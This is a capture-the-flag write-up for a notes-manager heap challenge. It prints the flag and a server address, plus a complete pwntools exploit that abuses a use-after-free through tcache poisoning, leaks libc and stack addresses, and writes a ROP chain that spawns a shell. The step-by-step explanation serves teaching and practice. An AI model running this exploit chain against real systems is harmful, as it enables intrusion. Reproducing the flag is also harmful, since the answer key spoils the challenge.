chal3

Description	Once lived a young and talented programmer named Emily. She had always been passionate about technology and had a knack for solving problems. One day, she decided to create something that would help her fellow villagers: a simple notes manager. Driven by her desire to make people's lives easier, Emily set out to create the most user-friendly and straightforward notes manager the world had ever seen. After weeks of hard work, she unveiled her creation, which she named "EasyNotes" EasyNotes was an instant hit among the villagers. It allowed them to jot down their thoughts, to-do lists, and personal musings with ease. The notes were securely stored and easily accessible, making villagers' lives more organized and stress-free. As time passed, EasyNotes gained popularity not only within the village but also in neighboring communities. It became a beloved tool for people to keep track of their lives and express themselves through words. One day, a local cybersecurity expert, who had heard of EasyNotes' success, approached Emily with a warning. He told her that with great popularity came great responsibility, and EasyNotes needed to be fortified against potential security threats. Emily, determined to protect her creation and the villagers who relied on it, decided to work with the expert to enhance the security of EasyNotes.
Flag	flag{e4zy_u4f}
# Port	9999
Server IP	98.70.34.66

Solution

- pip3 install pwntools
- python3 solve.py

▼ **solve.py**

```
from pwn import *
libc_path = './libc-2.31.so'
context.binary = "./chal/chal"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF(libc_path)

def menu(s):
    s.recvuntil(b'>')


def alloc(s, size):
    menu(s)
    s.sendline('1')
    s.recvline()
    s.sendline(str(size))


def free(s, idx):
    menu(s)
    s.sendline('2')
    s.recvuntil(b'>')
    s.sendline(str(idx))


def edit(s, idx, cont):
    menu(s)
    s.sendline('3')
    s.recvuntil(b'>')
    s.sendline(str(idx))
    s.recvline()
```

```
    # s.sendline(str(idx))
    s.sendline(cont)

def read(s, idx, size):
    menu(s)
    s.sendline('4')
    s.recvuntil(b'>')
    s.sendline(str(idx))
    s.recvline()
    return s.recv(size)

def exploit():
    # s = process(env={'LD_PRELOAD': libc_path})
    # gdb.attach(s, 'b *main+124')
#########################################################################################################################################################
#########################################################################################################################################################
    s = remote('127.0.0.1', 9999) #changeme
#########################################################################################################################################################
#########################################################################################################################################################

    alloc(s, 9) # array idx = 0
    alloc(s, 9) # array idx = 1
    free(s, 0)
    free(s, 1)
    alloc(s, 2048) # 2
    alloc(s, 2048) # 3 - don't merge with top
    free(s, 2)
    leak = read(s, 2, 2048)
    libc_leak = u64(leak[:8])
    success(hex(libc_leak))
    libc.address = libc_leak - 0x1ecbe0
    environ = libc.symbols['environ']
    edit(s, 1, p64(environ))
    alloc(s, 9) # 4
    alloc(s, 9) # 5 - should allocate over environ
    leak = read(s, 5, 8)
    stack_leak = u64(leak[:8])
    success(hex(stack_leak))

    alloc(s, 41) # 6
    alloc(s, 41) # 7
    free(s, 6)
    free(s, 7)
    edit(s, 7, p64(stack_leak - 0x100))
    alloc(s, 41) # 8
    alloc(s, 41) # 9 - should allocate over ret
    bin_sh = next(libc.search(b'/bin/sh'))
    # payload = b'A'*8
    rop = ROP(libc)
    payload = p64(rop.rdi.address)
    payload += p64(bin_sh)
    payload += p64(rop.rdi.address + 1)
    payload += p64(libc.symbols['system'])
    payload += p64(libc.symbols['exit'])
    edit(s, 9, payload)
    menu(s)
    s.sendline('5')
    s.interactive()


if __name__ == "__main__":
    exploit()
```

The given `glibc` is 2.31 from ubuntu 20.04 - relevant - reading https://github.com/shellphish/how2heap/tree/master/glibc_2.31

bin is a place to store freed chunks from the memory. Depending on the size, algorithm, heap state and libc - the `malloc` / `free` can behave differently. To exploit programs that have vulnerabilities for objects stored on the heap - we need to understand the standard exploitation techniques and see which fit to our use case. Both the binaries have heap based vulnerabilities - and are fully mitigated

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
```

```
    NX:       NX enabled
    PIE:      PIE enabled
```

With all these mitigations the one way to execute code is to overwrite the return address on the stack using an arbitrary write primitive. PIE means - base of ELF is also relocated and Full `relro` doesn't let us patch the ELF's GOT to hijack function pointer.

The libc's GOT is still writable - but writing to the stack is easier and lets the program behave correctly until we return.

`tcache` poisoning

`tcache` is a relatively new bin. It has an array of pointers for chunks of different sizes. For each different size - all freed chunks are stored as linked lists. Depending on the size of the next allocation it can be catered by `tcache` by removing the head of the linked list.

For all our purposes in this libc - we can get `malloc` to return arbitrary pointer by overwriting the `fd` pointer of an already freed chunk. This would give us arbitrary read/write primitives.

More details : https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c

UaF

The binary has a pretty simple code - a simple notes manager. The binary lets you allocate, edit, show and delete notes. The notes are simple string - not any struct.

```
void __fastcall add()
{
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  size_t size; // [rsp+10h] [rbp-10h]
  void *v2; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; i <= 0xF && array[i]; ++i )
    ;
  puts("Size:");
  size = readint();
  if ( size <= 0x1FFF )
  {
    v2 = malloc(size);
    if ( v2 )
    {
      array[i] = v2;
      size_array[i] = size;
    }
  }
}
void __fastcall edit()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  puts("which note do you wanna edit?");
  putchar('>');
  v0 = readint();
  if ( v0 <= 0xF )
  {
    puts("Content:");
    read(0, array[v0], size_array[v0]);
  }
}
void __fastcall show()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  puts("which note do you wanna read?");
  putchar(62);
  v0 = readint();
  if ( v0 <= 0xF )
  {
    puts("Content:");
    write(1, (const void *)array[v0], size_array[v0]);
  }
}
void delete()
```

```
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  puts("which note do you wanna delete?");
  putchar('>');
  v0 = readint();
  if ( v0 <= 0xF )
    free(array[v0]);
}
```

The allocated notes are stored in global `array` array and their corresponding sizes in global `size_array`

In the `delete` function above we can see that after `free` the reference is not nulled out and we can still `show` / `edit` the same index to read/write to an already freed chunk - classic Use After Free.

Now looking at the pre-requisites of the `tcache poisoning` attack - we can overwrite the `fd` of already freed `tcache` chunk and use to it to make the `malloc` return any address.

Leak

But before reading/writing to anywhere - we need to have some idea of the address space. The ELF and libc - both are under ASLR, so is the stack and heap.

- libc leak - we can leak a libc address by freeing a `smallbin` chunk and then reading its `fd` / `bk`. Since `smallbin` is a doubly linked list of freed chunks both the `fd` and `bk` of the first freed chunk point to somewhere in libc where the head is stored. This is only possible due to the Use After Free.
- stack leak - once the libc address is known from the above leak - we can use the `tcache poisoning` to make `malloc` return the `environ` variable on the libc. `environ` holds the pointer to the environment variables stored on the stack. It is also at a fixed offset from the return address of `main` to `__libc_start_main`. So we first allocate over `environ` and the read the value stored there to get the stack leak using the `show` function.

RIP Control

Using the stack leak earlier and `tcache poisoning` to make `malloc` return just at the return address of `main` - then using edit to overwrite it with a ROP chain to call `system("/bin/sh")`

Exploit Steps

1. Allocate a small bin and then free it. Use the read UaF to leak `environ` from libc

```
alloc(s, 2048) # 2
alloc(s, 2048) # 3 - don't merge with top - just a dummy allocation so that the smallbin stays
free(s, 2)
leak = read(s, 2, 2048)
libc_leak = u64(leak[:8])
success(hex(libc_leak))
libc.address = libc_leak - 0x1ecbe0
environ = libc.symbols['environ']
```

2. tcache poison to leak the `environ` value - a pointer to the stack. Here we edit the `fd` of the already freed tcache to point to `environ` such that the next allocation returns `environ`. We then read the `environ` to leak stack and calculate where return address for `main` is saved.

```
edit(s, 1, p64(environ))
alloc(s, 9) # 4
alloc(s, 9) # 5 - should allocate over environ
leak = read(s, 5, 8)
stack_leak = u64(leak[:8])
success(hex(stack_leak))
```

3. tcache poison again to get `malloc` to return a location on the stack. Here we edit the `fd` of another already freed tcache to point to stack such that the next allocation returns the address to saved return pointer on the stack

```
alloc(s, 41) # 6
alloc(s, 41) # 7
free(s, 6)
free(s, 7)
edit(s, 7, p64(stack_leak - 0x100))
alloc(s, 41) # 8
alloc(s, 41) # 9 - should allocate over ret
```

4. Now we can build and write the ROP chain and trigger this by exiting from `main`

```
bin_sh = next(libc.search(b'/bin/sh'))
# payload = b'A'*8
rop = ROP(libc)
payload = p64(rop.rdi.address)
payload += p64(bin_sh)
payload += p64(rop.rdi.address + 1)
payload += p64(libc.symbols['system'])
payload += p64(libc.symbols['exit'])
edit(s, 9, payload)
menu(s)
s.sendline('5')
s.interactive()
```

The ROP chain does nothing much - Its just calls `system("/bin/sh")` using the `pop rdi; ret` gadget to populate rdi with the address of `"/bin/sh"` already in libc